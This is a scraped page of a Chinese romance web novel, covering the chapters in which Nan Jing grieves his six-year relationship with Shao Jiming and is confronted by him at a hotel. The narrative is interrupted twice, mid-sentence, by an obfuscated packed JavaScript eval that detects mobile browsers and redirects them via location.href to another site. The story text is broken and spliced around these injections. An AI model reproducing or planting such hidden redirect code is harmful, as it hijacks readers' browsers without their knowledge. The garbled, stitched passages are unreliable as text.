他一边说,一边迅速站起身,绕过桌子,走到秦凌萱身边,半弯下腰,动作熟稔地替她捏了捏肩膀,声音压低了些,带上了点亲昵的埋怨:“再说了,您也是的。既明跟南景的事儿,他们俩自己都掰扯清楚了,您还特意跑这一趟干嘛?还拿这个……”他飞快地瞥了一眼桌上那张支票和旁边孤零零的硬币,嘴角又抽搐了一下,强行忍住,“多伤和气啊。南景这孩子您还不了解?跟了既明六年,任劳任怨的,是图这点东西的人吗?您这啊,好心,但方法用错了。” 秦凌萱被侄子这一通揉肩加“开导”,胸口那口闷气堵着,发作不出来,又咽不下去,脸色依旧难看,但紧绷的肩膀在秦朗熟练的按摩下,到底松弛了一点点。她没好气地拍开秦朗的手,瞪了他一眼:“就你会和稀泥!我还不是为了既明好?为了这个家好?你看看他们说的都是什么话!” “是是是,您都是为了表弟好,为了咱们老秦家、老邵家好,用心良苦,日月可鉴!”秦朗立刻顺杆爬,“但感情的事,强扭的瓜不甜,这道理您比我懂。既然南景都表态了,分得干干净净,这对既明来说,未必不是件好事,省得将来夹在中间难做,您说是不是?” 秦凌萱哼了一声,没再接话,但脸色缓和了些许。她重新端坐好,目光复杂地看了一眼对面始终平静的南景,又扫过那枚刺眼的硬币,最终,伸出手,将那张支票慢慢收了回去,重新放回支票夹。 “既然小朗都这么说了,”她端起已经微凉的咖啡,却没喝,语气恢复了那种居高临下的平静,但少了最初的几分刻意施压,“南景,你也算是个明白孩子。过去的事,就过去了。以后,各自有各自的路要走。我们邵家,不会亏待你,但你也该知道分寸,好聚好散。” 南景放下水杯,抬起眼,目光清正坦然:“我明白,阿姨。谢谢您今天的咖啡。也请您放心,我知道该怎么做。” 这句话,算是为这场荒谬的会面,画上了一个双方都能接受的、体面的句号。 秦朗心里松了口气,知道火候差不多了。他直起身,拍了拍手,脸上重新挂起那副玩世不恭的笑,对着南景和周冉说:“行了行了,误会解开就好了嘛。小姨,您下午不是还约了我妈喝茶做SPA?时间差不多了吧?我送您过去?” 他又转头,冲周冉和南景挤挤眼:“你俩呢?一会儿什么安排?要不……我顺便也送送你们?这地方打车可不容易。” 周冉翻了个白眼,小声嘀咕:“谁要你送,黄鼠狼。”但还是拉着南景站了起来。这场面,确实也没必要再待下去了。 南景对秦凌萱微微颔首:“阿姨,那我们先走了。您慢用。” 秦凌萱只是矜持地点了点头,没再说话。 秦朗说道:“小姨,您在喝两口,咖啡不错,我送送他们。” 直到走进电梯,金属门缓缓合上,周冉才夸张地吐出一口气,拍了拍胸口:“我的妈呀,可算出来了!再待下去我都要窒息了!那个老……阿姨,气场真够足的。”她差点又把“妖婆”咽回去,改了口。 南景没说话,只是抬手,轻轻揉了揉她的头发,眼底带着未散的笑。 秦朗看着周冉,摇头叹道:“我的小祖宗,你是真敢啊。一块钱硬币……还技术指导费……你就不怕我小姨当场心脏病发?” “我怕什么?”周冉理直气壮,“她先拿钱砸人的!我们南景是那么容易被钱砸的人吗?我这是替天行道,教教某些有钱人,什么叫尊重!” “是是是,您替天行道,您威武。”秦朗举手投降,脸上却笑得见牙不见眼,“不过下次行道之前,能不能先给我打个信号?我好提前准备好速效救心丸,不然我怕我先笑死或者被吓死。” “德行!”周冉踹了他小腿一脚,力道不重。 南景看着他们斗嘴,一块钱的硬币,买断了六年的委屈,也买来了一个干净利落的了断,和身边人毫不犹豫的维护。 好像,也不亏。 10. 总以为很慢,但冬天已经来了 车子平稳地汇入午后略显稀疏的车流,周冉正叽叽喳喳地吐槽着秦凌萱那副高高在上的姿态。南景靠在后座,侧脸望着窗外飞速倒退的街景。 就在这时,他放在口袋里的手机震动起来。 南景回过神,掏出手机,看了一眼来电显示——是属于那栋别墅物业的座机号码。他划开接听键,将手机放到耳边。 “喂,您好。” “喂,您好,请问是南景南先生吗?”电话那头传来物业工作人员客气而程式化的声音,“这里是九间别墅物业管理中心。打扰您了,想提醒您一下,本季度的物业费用该缴纳了,截止日期是下周。您看是方便过来一趟,还是我们提供账号您直接转账?” 南景静默了一瞬,目光落在车窗外交错的高楼玻璃幕墙上,那些反光有些刺眼。他轻轻吸了口气:“不好意思,我已经不在那边住了。物业费的事情,麻烦你们直接联系户主邵既明先生吧。” “啊?这样啊……”物业那边显然有些意外,语气带了点为难,“可是南先生,我们系统里预留的紧急联系人和日常事务对接人,留的都是您的电话。邵先生那边我们之前也尝试联系过,但可能邵先生比较忙,电话有时候接不通。您看……能不能麻烦您,帮忙转达一下邵先生?或者把邵先生更直接的联系方式提供给我们?” 帮忙转达。 这个请求让南景的嘴角向下抿了抿。又是这样。分开之后,水电燃气过户,网络注销,甚至之前订的某些长期配送服务……一桩桩,一件件,看似微小,却像一根根细韧的丝线,缠绕上来,提醒着他与那个人、那个家之间,曾有过多么深入肌理的联结。断开,需要时间,也需要耐心,去一根根挑断这些看不见的线。 他沉默了片刻。理智告诉他应该直接拒绝,让物业自己想办法。可某种属于过去六年形成的负责习惯,以及不想让第三方工作人员为难的教养,让他最终还是妥协般地低声应道:“……好。我试试。” “哎,那太谢谢您了南先生!真是不好意思,麻烦您了!”物业那边如释重负,连忙道谢,然后挂了电话。 听着听筒里传来的忙音,南景握着手机,没有立刻放下。他点开通话记录,手指在那个烂熟于心的名字上悬停了很久。最终,他还是没有拨出去,而是退了出来,在通讯录里找到了另一个名字——邵既明的特助,周助。 电话很快被接通。 “喂,南先生。”周助的声音一如既往的恭敬干练,似乎对他来电并不意外。 “周助,麻烦你。转告一下邵总,九间别墅那边的物业费该交了,物业联系不上他,打到了我这边。” 电话那头有极短暂的停顿,或许是在记录。“好的,南先生,我记下了。不过邵总他出差去了欧洲,处理一个并购案,时差关系,可能暂时不太方便联系。这个事情很急吗?如果急的话,我可以先联系财务处理。” 出差了。南景想,怪不得……他妈妈会说前天一起吃饭。原来只是回家匆匆一面,就又走了。这倒是他一贯的作风。 “不用。”南景立刻说,“让他自己回来处理吧。我只是代为转达。就这样,麻烦了。” “好的,南先生。还有别的……” “没有了,再见。”南景没等对方说完,便挂断了电话。 车窗不知何时被周冉按下了一条缝隙,深秋凛冽的风立刻灌了进来,猛地扑在南景的脸上,吹乱了他额前细碎的头发。冷风像冰水,激得他微微一颤。 “好冷啊……”南景忽然低低地开口,声音很轻,几乎被风吹散,带着一种孩子气的茫然和无助。他没有看周冉,依旧侧头对着窗外,目光没有焦点地落在某块不断后退的广告牌上。 “小冉,”他喃喃地,像是自言自语,又像是在问一个无解的问题,“怎么会……这么冷啊。” “总以为很慢,但冬天已经来了。” 他的眼眶毫无征兆地红了,鼻尖泛起酸楚的涩意,迅速弥漫开,让他不得不紧紧抿住嘴唇,才能抑制住那突如其来汹涌的泪意。这一个多月来,他以为自己已经足够平静,足够理智,将生活安排得井井有条,向前看,不回头。 可就在刚刚,处理那通物业电话的短短几分钟里,那些被他强行压制的回忆,像决堤的洪水,猝不及防地冲垮了他辛苦筑起的堤坝。他想起刚搬进别墅时,一起挑选家具的某个下午;想起他第一次试着做邵既明喜欢的菜,紧张地等待评价;想起无数个他加班晚归的深夜,自己留着一盏灯,从书页间抬起头,听到门外脚步声时心里那点隐秘的期待和随之而来的是常常是落空的寂静;想起他生病时,自己彻夜不眠地守在床边,而对方只是醒来后淡淡一句“我又没让你守”…… 那些主动靠近的雀跃,那些被冷漠回应的失落,那些小心翼翼的试探,那些石沉大海的期待……不是不爱,是爱得太久,太深,深到早已成了呼吸般的习惯,以至于分开后,每一次呼吸,都带着撕裂般的疼。 他以为遗忘会很慢,像秋天的树叶,一片一片,缓缓凋零。 可原来,冬天来得这样快。一阵冷风,就卷走了所有勉强维持的绿意,只剩下一片光秃秃的荒凉。 南景将额头轻轻抵在冰凉的车窗玻璃上,闭上眼,试图阻隔窗外飞逝熟悉又陌生的街景——那些他们曾一起驶过无数次的街道,那家他常去的超市,那个他们偶尔会散步的公园入口……这座城市的每一个角落,似乎都烙印着那个人的痕迹,无声地提醒着他,那份持续了六年、倾尽所有的爱恋,曾经怎样地存在过。 邵既明。 他在心里无声地念着这个名字。 我不过只是……很认真、很努力地,爱了一个人。 怎么会,怎么会……这么疼啊。 泪水终于无法抑制,顺着紧闭的眼角,悄无声息地滑落,没入衣领,留下一点冰凉的湿痕。他没有发出任何声音,只有微微颤抖的肩线和被风吹得不断眨动着湿漉漉的睫毛。 车厢内一片寂静。周冉早已停止了说话,她看着南景微微颤抖的背影,看着他抵在车窗上显得无比脆弱的侧影,嘴唇动了动,最终什么也没说。她伸出手,很轻、很轻地,覆盖在南景放在身侧紧紧握拳的手背上。 南景没有睁眼,也没有动,只是反手,更用力地握住了周冉的手。 车子继续前行,穿过光影交错的城市森林。前路漫漫,寒冬将至。 遗忘或许漫长,但总会开始。而有些告别,无需言语,心下了然,便是真正的句点。 几天后,邵既明风尘仆仆地从欧洲返回。他一边松着领带,一边听着特助周助汇报积压的工作。周助条理清晰,事无巨细,末了,略作迟疑,还是提了一句:“邵总,还有件私事。九间别墅物业那边来催缴本季度的费用了。” 邵既明解领带的动作微微一顿:“这种小事,以前不都是南景处理的么?他怎么说?” 周助观察着他的神色,谨慎地回答:“物业联系不上您,电话打到了南先生那里。南先生让我转告您,费用该交了,让您……自己联系处理。” “没了?”邵既明转过身,目光落在周助脸上,像在确认信息是否完整,“他就只说了这个?没别的?” 周助低下头:“是的,邵总。南先生只转达了这件事。” 邵既明的眉头蹙得更紧,那光滑冰凉的触 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他几乎没有任何停顿,立刻退出了微信界面,找到那个烂熟于心的名字,拨了出去。 听筒里传来的,不是预料中的等待音,不是忙音,甚至不是关机提示,而是冰冷、机械、毫无感情起伏的电子女声:「对不起,您所拨打的号码是空号,请核对后再拨。」 空号。 他猛地挂断,手指因为用力而有些颤抖,重新输入那串数字,再次拨打。同样的提示音,冰冷地重复。 不是关机,不是占线。是空号。这意味着这个号码被彻底注销、弃用了。南景连这个承载了六年记忆、联系、甚至可能包括无数生活琐碎痕迹的联系方式,都毫不犹豫地、彻底地抛弃了。 他真的……做得这么绝? 邵既明缓缓将手机从耳边拿开,屏幕的冷光映着他有些失神的脸。拉黑微信,注销号码。南景在用最直接、最不留余地的方式,将他从自己的世界里彻底删除,抹去所有他能主动触达的路径。 为什么? 他们之间,到底有什么问题,严重到需要这样决绝的切割? 邵既明抬起手,用力揉了揉突突跳动的太阳穴,试图驱散那种失控的感觉。他需要见到南景。必须见到。电话里说不清,文字更显得苍白无力。 对,见面。他需要再见到南景。看着他,告诉他,他们之间没有不可调和的矛盾,六年感情不是说放就能放的。 是的,问题不大,只是沟通不畅。南景在气头上,做了过激的决定。 他按下了内线通话键,声音已经恢复了往常的平稳:“周助,进来一下。” 周助很快推门而入:“邵总?” “去查一下,南景现在住在哪里。还有,他新的联系方式。” 周助心中一凛,面上不动声色:“是,邵总。”他没有多问,立刻应下。 办公室门再次关上。邵既明独自坐在一片寂静里。 闹也闹了,玩也玩了,离家出走也该有个限度。 他就当……给他一个台阶。 再去找他一次。 11. 皎月夫夫,客串时间 五星级酒店的婚礼宴会厅内,水晶灯流光溢彩,空气里弥漫着香槟、鲜花和精致食物的甜香。台上,穿着洁白婚纱的顾彤彤笑得灿烂,背对着一众未婚的亲友,手中握着那束精心扎制的铃兰捧花。 “准备好啦?我要丢咯!3——2——1——” 在一片善意的起哄和尖叫声中,捧花在空中划出一道优美的弧线。几个年轻女孩笑着跳着去够,周冉原本抱着手臂,站在人群外围看热闹,脸上是“姐独美勿扰”的淡定。没想到那捧花不偏不倚,直直朝着她所在的方向飞来,旁边人一挤,她下意识抬手挡了一下,那束花就这么“啪”地一声,不轻不重地落进了她怀里。 周冉瞬间僵住,低头看着怀里那束象征着“下一个结婚”的洁白捧花,表情从错愕变成了赤裸裸的嫌弃,漂亮的眉毛拧成一团,嘴角向下撇着,仿佛捧着的不是鲜花,而是一团刚出炉的烫手山芋。 “什么脏东西!莫挨老子!”她几乎是从牙缝里挤出这句话,想也没想,手腕一翻,利落地将那束备受瞩目的捧花往身后人群里一抛,动作快得让人来不及反应。然后,她拍了拍手上并不存在的“晦气”,顶着众人愕然又好笑的目光,面不改色地快步走回了自己的座位。 他们的座位在主桌附近,都是高中玩得好的老同学。南景坐在她旁边,正微微侧身,有些无奈地看着趴在桌上、哭得一把鼻涕一把泪、毫无形象的顾杰。顾杰显然已经喝高了,嘴里含糊不清地嘟囔着什么,肩膀一抽一抽,眼泪糊了满脸,昂贵的西装袖口都被蹭得皱巴巴湿漉漉。 周冉看看南景,又看看旁边这个“水漫金山”的顾杰,扶额叹息,一脸“没眼看,真的没眼看”的表情。 “哎~呀~”坐在对面的朱彬彬翘着标志性的兰花指,捏着嗓子,“我们顾杰这是怎么了呀?一副……死了老公的伤心模样哦~” “朱姐你会不会说话!”周冉立刻飞过去一个白眼,没好气地怼回去,“大喜的日子,能不能盼人点儿好?”她转过头,凑近南景,压低声音问:“楚萧到哪儿了?再不来,我怕顾杰能把酒店给哭淹了。” 南景拿出手机看了一眼微信:“刚发消息,说马上到酒店楼下了。” “谢天谢地。”周冉松了口气,立刻站起来,对同桌的其他人说:“杨鸣,郭涛,朱姐,雪雪,顾杰这货不行了,我们先把他弄出去,楚萧来接。一会儿新郎新娘要是问起来,就说他喝趴了,我们先送他回去醒酒。” “行行行,快把这哭包弄走,别在这儿影响市容了。”朱彬彬挥挥手,其他人也纷纷点头。 周冉和南景一人一边,架起软成一滩烂泥、还在不住抽噎的顾杰,费力地把他从座位上拖起来,避开热闹的人群,朝着宴会厅外走去。顾杰几乎将全身重量都压在南景身上,嘴里翻来覆去地念叨,酒精放大了他所有的痛苦和悔恨:“为什么……我他妈就是个傻逼……我为什么当初就没冲上去问清楚……我就是个彻头彻尾的傻逼啊呜呜呜……” “知道自己是傻逼就对了,”周冉一边架着他,一边毫不客气地毒舌补刀,“高中就看你们俩如胶似漆,腻歪得人眼睛疼,到头来还能分开六年,你俩这病得不轻。分了六年还他妈忘不掉,病入膏肓了都!顾杰你有点出息行不行?” 顾杰只是哭得更凶了,眼泪鼻涕全蹭在了南景的西装外套上。 三人踉踉跄跄地穿过铺着红毯的走廊,乘电梯下到酒店一楼大堂。南景眼尖,看到酒店旋转门外,一个穿着深色风衣、身形高瘦挺拔的男人正步履匆匆地走进来。 “楚萧!这里!”南景扬声喊道。 几乎就在同一时间,靠近前台办理入住的区域,另外两个刚刚拿到房卡、转身准备离开的男人,也因为这声呼喊停下了脚步,转过了身。 是秦朗,和站在他身旁、面色沉静、目光瞬间锁定过来的邵既明。 楚萧闻声,脚步更快,几乎是跑着冲到了他们面前。他的目光第一时间就落在了那个被架着、哭得昏天暗地、狼狈不堪的人身上。六年了。他找了整整六年,想了整整六年,梦里出现过无数次的脸,此刻以这样一种毫无防备、脆弱到极致的状态出现在眼前。 楚萧的呼吸猛地一窒,心脏又酸又胀,痛得他眼眶瞬间就红了。他想笑,笑这荒谬的重逢;更想哭,哭这失而复得的欣喜和铺天盖地的心疼。他张了张嘴,喉结剧烈滚动了几下,才发出沙哑的声音:“顾杰……” 原本闭着眼睛哭嚎的顾杰,似乎感应到了什么,迷蒙的泪眼努力聚焦,看清眼前人的刹那,他像是被雷击中,猛地瞪大了眼睛,随即爆发出更汹涌的哭声,挣扎着朝楚萧伸出手:“楚萧?楚萧!真的是你……呜呜……你为什么才来……为什么……” “我在,我在这里,对不起,我来晚了……”楚萧再也忍不住,眼泪夺眶而出,他立刻上前,手忙脚乱地将顾杰从南景和周冉手里接过来,紧紧抱在怀里。顾杰像个走失多年终于找到家的孩子,死死揪着楚萧的衣襟,把脸埋在他胸前,语无伦次地哭喊:“为什么……为什么我当年没有上楼问清楚!我就是个傻逼!楚萧……楚萧你还要我吗?你还要不要我……” 这场景过于揪心又过于私人,周冉一看,得,这俩一时半会儿是分不开了,而且顾杰这状态也根本没法走动。她目光一扫,正好看见秦朗和邵既明拿着房卡走了过来,邵既明的视线紧紧黏在南景扶着顾杰的手上,薄唇抿成了一条直线。 电光石火间,周冉一个箭步上前,在秦朗还没反应过来之前,劈手就将他指间夹着的那张房卡抽了过来。 “哎?冉冉你干嘛?”秦朗一愣。 “借用一下!”周冉头也不回,“南景,顾杰这样走不了了,先送楼上房间。楚萧!”她提高音量,打断那对快要被泪水淹没的苦命鸳鸯,“要续旧情诉衷肠,上楼关起门来慢慢续!这儿是大堂!注意点影响!” 楚萧被她说得脸颊一热,但也知道她说得对。他胡乱抹了把脸上的泪,和南景一人一边,半抱半扶地将哭得几乎脱力、但死死抓着他不放的顾杰,朝着电梯方向带去。周冉拿着房卡快步跟上,按了电梯上行键。 她没有跟着进电梯,而是在电梯门合上、将那三人送上去之后,转过身,抱着手臂,慢悠悠地踱回了大堂中央。然后,她就那么站在那里,微微歪着头,好整以暇地看着几步之外,那两个同样没有离开、姿态各异的男人。 秦朗脸上带着点无奈的苦笑,摊了摊手。而邵既明,自始至终,目光都沉沉地落在刚刚电梯门合上的方向,又缓缓移回,与周冉平静中带着冷意的目光,在半空中无声相撞。 周冉抱着手臂,她微微偏着头,目光在秦朗那副“我超无辜”的表情和旁边沉默的邵既明身上扫了个来回,最后定格在秦朗脸上,眉梢挑起一个带着审视弧度的问号。 “说吧,”她开口,带着点懒洋洋的诘问,“怎么跟这儿来了?别告诉我这是偶遇,秦总。你这偶遇的概率,比我出门捡到一百万然后失主还是个大帅哥的概率还低。” 秦朗立刻举起双手,做了个投降的姿势,脸上那副六月飞雪的冤屈表情夸张得可以去竞选奥斯卡。“天地良心啊,冉冉!真是工作!正经生意!淮汐这边有个合作案要谈,不然我俩跑这人生地不熟……哦不对,是我跑这人生地不熟的地方干嘛?喝西北风啊?” 他一边说,一边用眼神示意了一下旁边从头到尾没出声、只是目光沉沉望着电梯方向的邵既明:“我要真想跟踪你,那肯定就我一个人悄悄地、美美地跟了,哪还能带这么大个……拖油瓶兼人形立牌?多影响我发挥啊,是不是?” 周冉从鼻子里哼出一声,那声音里充满了“我信你个鬼”的意味,但她并没有立刻拆穿,只是撇了撇嘴:“我信你?我信你还不如信母猪会上树,至少母猪上树还能拍个短视频赚流量,信你?”她翻了个优雅的白眼,语气却松动了些。毕竟,秦朗最近明里暗里给南景的工作提供了不少实质性的帮助和靠谱的建议,这份人情她记着,所以此刻的兴师问罪也更多是走个过场,外加……替南景不爽。 秦朗听出了她语气里那丝松动,立刻打蛇随棍上,脸上堆起讨好的笑,身体也往前凑了凑:“真的,比真金还真!你看我这真诚的大眼睛!我们刚到,酒店都没来得及进,饭更是没顾上吃。冉冉,你看在我这么爱岗敬业、一下飞机就直奔工作的份上,赏脸一起吃点?就当……慰问一下合作伙伴?” “大可不必。”周冉想也没想就拒绝,抬手做了个“打住”的手势,“我们刚在楼上吃饱喝足,喜宴的龙虾和鲍鱼还没消化呢,就不陪您二位进行商务便餐了。”她眼神意有所指地瞟向旁边那位人形立牌,意思再明显不过:有邵既明在,这饭能吃出胃穿孔。 秦朗被她那眼神看得讪讪,摸了摸鼻子,知道这关不好过。他瞥了一眼邵既明,那家伙依旧杵在那儿,目光像是焊死在了电梯不断跳动的楼层数字上,下颌线绷得死紧,周身散发着“生人勿近,熟人也别来”的低气压,完全没有要帮忙打圆场或者自行消失的觉悟。 秦朗在心里叹了口气,觉得自己简直是带了个祖宗出来追妻。他重新转向周冉,试图转移话题,目光在她身上扫了一圈,落在了她略显正式的小礼服裙上:“哟,穿这么漂亮,刚从楼上婚礼下来?够仗义啊,还特地来给朋友当后勤,护送‘伤员’。” 周冉低头扯了扯裙摆,一脸嫌弃:“别提了,彤彤非让穿,说不能给她丢面儿。结果面儿是没丢,差点被一束花给砸出工伤。” “那看来这后勤当得挺值,还见证了感人肺腑的破镜重圆现场?刚那哭得山崩地裂的,是顾杰?旁边那个……楚萧?好家伙,六年了吧,这都能遇上,电影剧本都不敢这么写。” “可不是么,”周冉耸耸肩,语气带着点唏嘘,“所以说,有些人啊,早干嘛去了。非得折腾个死去活来,把彼此都磨掉一层皮,才肯面对那点心思。啧,累不累。”她这话像是说顾杰楚萧,但飘忽的眼神和微妙的语气,很难不让人联想到旁边另一位。 “哈哈,那有没有接到捧花?” “别提了!”她摆摆手,一脸晦气,“那花就跟长了眼睛装了GPS似的,直冲我怀里来!我当时吓得汗毛都立起来了!什么下一个结婚?下一个更乖还差不多!赶紧扔了,沾上这‘喜气’,我怕我接下来半年水逆!” 秦朗被她那副避之唯恐不及的样子逗乐了,闷笑出声:“你就这么嫌弃婚姻的坟墓啊?不过也是,我们冉冉独美,要什么男人,男人只会影响你拔刀的速度和花钱的爽度。” “那是!”周冉下巴一扬,深以为然,“一个人潇洒快活不好吗?非得找个人来分我家产、气我折寿?除非……”她眼珠一转,闪过一丝狡黠,故意拖长了调子,“除非那人能像我家南小景一样,上得厅堂下得厨房,赚得了钱理得了财,还能在我手痒想打人的时候自动递上趁手的工具,当然,这种人间极品,概不外借,内部消化了。” 她这话明晃晃是在夸南景,暗戳戳也是在提醒某人,此“草”已有主(虽然是友情向的),并且主人家护得紧。秦朗自然听懂了,嘴角笑意更深,配合地点头:“是是是,南景那是万里挑一,你可得守好了。”他顿了顿,看了一眼依旧盯着电梯、仿佛要把它看穿的邵既明,又看看周冉警惕的眼神,决定再给自家不争气的表弟争取一点点存在感,于是故作随意地问:“南景……最近怎么样?忙那个基金的事儿,挺辛苦的吧?” “还行,有我这个金主爸爸在背后坐镇,还有某些热心资本家偶尔的技术指导,进展顺利。”周冉答得滴水不漏,既肯定了南景的能力,也捎带谢了一下秦朗的帮助,但就是不接任何可能涉及私人情感的话茬。 电梯“叮”的一声轻响,金属门缓缓向两侧滑开。南景从里面走了出来,抬眼就看到了等在大堂的周冉,以及她身后不远处那两个无法忽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046462|194740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视的身影。 “怎么样?上面没打起来吧?”周冉迎上去两步。 “没事,”南景摇摇头,声音有些无奈,“就是顾杰哭得稀里哗啦,抱着楚萧不撒手,估计得缓好一阵子。楚萧眼睛也红得跟兔子似的。” 周冉撇撇嘴,叹了口气:“顾杰那傻子……当年可是能为楚萧拼命的主,高考那么大的事都耽误了。结果呢?白白浪费六年。”她摆摆手,“算了,不提了。别人的孽缘,解铃还须系铃人。走吧,这儿怪闷的。”她和南景订的酒店并不在这里。 两人刚转身,还没迈出两步,一个低沉的声音就从侧后方传来,硬生生截断了他们的去路。 “南景。” 南景的脚步顿了一下,没有立刻回头。周冉则猛地转身,像只竖起浑身尖刺的刺猬,目光冷冽地射向发声的人。 邵既明从光影交界处走上前几步,酒店大堂璀璨的水晶灯光落在他棱角分明的脸上,映得他眉眼愈发深邃,却也衬得那紧蹙的眉头和眼底压抑的暗涌更加清晰。他径直走到南景面前:“我们谈谈。” 不是询问,是要求。 南景终于缓缓转过身,正面迎上他的视线。“没必要。” “我觉得有必要。”邵既明的语气加重,那份压抑的不解和烦躁几乎要破开他表面的镇定。他不懂,为什么南景还在“闹”,为什么要把事情推到如此决绝的地步。在他看来,问题远没有严重到需要彻底切断所有联系。他甚至没有意识到,自己此刻的姿态和话语,依旧带着一种居高临下试图掌控局面的惯性。 话音刚落,他甚至不等南景再次拒绝,便伸手,一把抓住了南景的手腕。 “哎!你干什么!”周冉几乎立刻就要冲上去。 “冉冉,”几乎是同时,秦朗的手臂横了过来,温厚却坚定地拦住了她。他另一只手轻轻搭在她肩膀上,用了点巧劲,将她带离了即将爆发冲突的中心区域,声音压得很低,“他们之间的事,让他们自己去解决。你拦得住这一次,拦不住下一次。有些话,总得说开。” “秦朗!”周冉被他半圈着带开几步,又急又怒,仰头瞪他,漂亮的眸子里几乎要喷出火来,“你故意的吧?带他来这儿?看热闹不嫌事大?还是觉得你那表弟能把人绑回去?” 秦朗没有立刻松开她,但也保持了一个礼貌的距离,只是手虚虚地挡在她身前,防止她冲动之下真冲过去。他看着她因怒气而格外明亮的眼睛,脸上的玩世不恭淡去了些。 “我是不是故意的,重要吗?重要的是,南景需要自己做个了断。无论是彻底断掉,还是……有其他可能。你护得了他一时,护不了他一世。有些心结,得他自己解开。” 周冉挣了一下,没挣脱,干脆停下动作,抱着手臂,冷冷地看他:“了断?我看是纠缠不清。秦朗,那天在咖啡厅,我说的话,你没听见?我说了,我没有结婚的打算,更没有生孩子的打算。你还围着我转什么?觉得挑战高难度有意思?” 秦朗看着她竖起全身防备的模样,忽然低低地笑了一声,那笑声里没有戏谑,反而带着点无奈的纵容。他放下拦着她的手,但也并未退开,只是微微低下头,目光与她平视,确保她能看清自己眼底的每一分情绪。 “我听见了。你说你不相信婚姻,不相信爱情,不打算结婚,不打算生孩子。每一个字,我都记得。” 周冉嗤笑一声,正要反驳,却被他接下来的话堵住了。 “但是,周冉,”秦朗打断她可能脱口而出的尖锐话语,“你不相信,不代表它不存在。你不打算,也不代表它就是错的,或者……我就是冲着那个去的。” “我不需要你用婚姻或者孩子来证明什么。我喜欢你,是因为你是周冉,是那个会为了朋友两肋插刀、会肆无忌惮大笑也会毫不留情吐槽、活得比谁都清醒也偶尔犯迷糊的周冉。我喜欢的就是这样的你,完整的你,包括你所有的不打算。也许我能给你幸福呢?” 周冉脸上的讽刺慢慢褪去,她看着他,像是在判断他话语里的真伪,又像是在衡量这份喜欢的重量。 半晌,她才扯了扯嘴角,那笑容却没什么温度,带着一种看透世事的凉薄:“秦朗,好听的话谁都会说。我父母都没能给我幸福这东西,我凭什么相信,你这个跟我没有半毛钱血缘关系、认识没多久的男人,就能给我?” “幸福太虚了,我抓不住,也不想去抓。我一个人,有钱有闲有朋友,过得挺好。不需要谁来给我幸福,也不想承担给别人幸福的责任。太累了。” 秦朗静静地听着,没有因为她话里的冰冷而退缩,也没有急于辩解。等她说完,他才轻轻开口,声音比刚才更柔和,却也更笃定:“我没说要给你一个承诺好打包票的幸福。那玩意儿确实虚,我也不信天上会掉馅饼。我说的是,‘也许我能给你幸福呢?’这是一个可能性,一个我愿意去尝试、去努力的方向。你不相信,没关系。你可以站在原地,甚至背过身去。但能不能……至少别急着把门完全关上?给我一个走近一点、让你看看的可能?” 他向前微微倾身,距离拉近,气息几乎拂过她的额发,眼神里褪去了所有玩笑,只剩下纯粹的认真:“你不试试,怎么知道,我不会是那个例外?” 周冉被他眼中前所未有的认真烫了一下,心头掠过一丝陌生的悸动,但旋即被更强大的不信任感压了下去。她别开脸,避开了他过于灼热的视线,望向大堂另一边光可鉴人的大理石柱,声音恢复了之前的冷静,甚至带着点刻意为之的冷漠: “没有例外,秦朗。人心易变,今天说的话,明天就可能不作数。激情褪去,剩下的不过是鸡毛蒜皮和一地狼藉。我不需要这种不确定的东西来打乱我的生活。”她转回头,重新看向他,“你适合更好的,秦朗。不是我这种最好的。别在我这儿浪费时间了。” “周冉,你这浑身是刺的样子,才是最好的。浪费时间?我乐意。” 12. 秘密揭晓 酒店旋转门外,深秋的夜风呼啸而过,门廊的灯光在邵既明紧绷的侧脸上投下冷硬的线条,他攥着南景手腕的力道没有丝毫放松。 “南景,”邵既明的声音压得很低,“你闹得够久了。适可而止。搬回去,我们之间不会,也不该有任何变化。” 南景胸腔剧烈起伏,手腕处传来的疼痛和那句“没有任何变化”荒谬感排山倒海而来,他甚至真的想笑,笑眼前这个人何其自负,又何其可悲。都不知道他哪里的勇气说出这样的话,他想问,“你家里人给找了合适的对象了,你知道吗”。算了,现在说这些显得他多在意一样。 “邵既明,”他猛地甩开邵既明的手,“你到底是哪里来的自信和勇气,觉得你说了回去,一切就能照旧?你觉得我有多贱?在你身边六年,掏心掏肺,就他妈连一点平等的、像样的感情回馈都不配得到是吗?!” “是你要到我身边来的。”邵既明的声音骤然降温,比夜风更冷,“我答应了。我和你在一起,没有别人,这六年从未改变。你现在到底在闹什么?”他眼底的不解与烦躁交织,那神情仿佛在看一个无理取闹、打破平静的麻烦,“这六年来,不都是这样的吗?” “好!你想知道为什么?你想看证据是吗?”南景被他这副置身事外的样子彻底点燃,他猛地伸手,指向邵既明的大衣口袋,“把你的手机拿出来!” 邵既明眉头紧锁,但似乎也想用事实结束这场荒谬的争执,他依言掏出手机解锁递过去。南景点开微信,直接找到那个熟悉的对话框。他没有看最近的记录,而是用力地向前滑动,屏幕上的信息飞速倒退,像翻检一部无声的屈辱史。 “你自己看!”他将手机屏幕几乎怼到邵既明眼前,“看清楚了!这一条,我问你晚上想吃什么,你回一个忙!这一条,我告诉你我升职了,你他妈回一个嗯!还有这个,我发烧到39度,跟你说很难受,你隔了八个小时回我一句多喝水!” 他的指尖划过屏幕,划过那些由他发出的、或长或短、充满分享欲或需要安慰的话语,以及旁边那些简短到极致的、冰冷的、敷衍的回复。“看看!这密密麻麻的,都是我的消息!我的期待!我的……自尊!”他的声音哽了一下,但怒火随即更加汹涌,“你呢?‘嗯’、‘哦’、‘好’、‘再说’、‘跟你没关系’!邵既明,你看看你怎么回复你那些合作伙伴、甚至普通朋友的!看看那个语气!那个耐心!” 